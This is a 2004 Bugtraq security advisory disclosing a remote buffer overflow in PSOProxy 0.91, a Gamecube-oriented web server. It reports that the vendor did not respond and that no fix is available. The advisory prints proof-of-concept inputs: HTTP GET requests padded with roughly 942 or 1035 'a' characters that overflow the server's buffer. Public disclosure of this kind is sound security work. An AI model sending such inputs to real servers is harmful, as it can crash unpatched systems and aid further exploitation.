bugtraq - Remote Buffer Overflow in PSOProxy 0.91

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Date: Fri, 20 Feb 2004 09:54:05 -0000
From: "Donato Ferrante" <fdonato@...istici.org>
To: <bugtraq@...urityfocus.com>
Subject: Remote Buffer Overflow in PSOProxy 0.91


                           Donato Ferrante


Application:  PSOProxy
              http://psoproxy.sourceforge.net/

Version:      0.91

Bug:          Remote Buffer Overflow

Author:       Donato Ferrante
              e-mail: fdonato@...istici.org
              web:    www.autistici.org/fdonato



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1. Description
2. The bug
3. The code
4. The fix



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----------------
1. Description:
----------------

Vendor's Description:

"PSOProxy is a web server application designed to work with the
Gamecube web browser. Its main purpose is to allow Phantasy Star Online
snapshot files to be copied to a PC and converted to a common image
file format."



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------------
2. The bug:
------------

The server is not able to manage big input strings. In fact it will
have a buffer overflow.



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-------------
3. The code:
-------------

To test the vulnerability send to the server a string like:

GET /aaaa[ 942 of a ]aaaa HTTP/1.1

or:

GET aaaa[ 942 of a ]aaaa HTTP/1.1

or:

aaaa[ 1035 of a ]aaaa



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------------
4. The fix:
------------

No fix.
The vendor has not answered to my signalations.



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